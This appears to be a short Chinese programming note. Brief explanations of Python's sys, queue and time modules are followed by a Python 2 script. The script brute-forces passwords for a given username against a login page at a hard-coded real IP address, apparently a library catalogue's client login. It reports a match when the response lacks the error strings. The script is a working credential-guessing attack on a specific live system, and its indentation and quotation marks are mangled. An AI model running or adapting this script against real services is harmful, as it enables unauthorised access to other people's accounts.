sys:使用sys模块获得脚本的参数
queue模块,创建一个“队列”对象
time 模块 Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数)。
find()函数找不到时返回为-1
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
import Queue
import time
# 1315935012
username = sys.argv[1]
password_file = sys.argv[2]
queue = Queue.Queue()
f = open(password_file)
for line in f.readlines():
queue.put(line.strip())
# 使用账号作为密码
queue.put(username)
start_time = time.time()
while not queue.empty():
password = queue.get()
#print password
url= "http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
‘callback‘: "jQuery17205871516966488435_1472197449413",
‘username‘: username,
‘password‘: password,
‘loginType‘: "callNo",
‘_‘: ‘1472197524853‘
}
#print query
try:
resp = requests.get(url, query)
except:
queue.put(password)
resp.encoding = resp.apparent_encoding
if resp.text.find(u"密码或登录号错误") == -1 and resp.text.find(u"读者不存在") == -1 :
print "[*] 账号: %s 密码: %s" % (username, password)
end_time = time.time()
print "共用时: %f" % (end_time - start_time)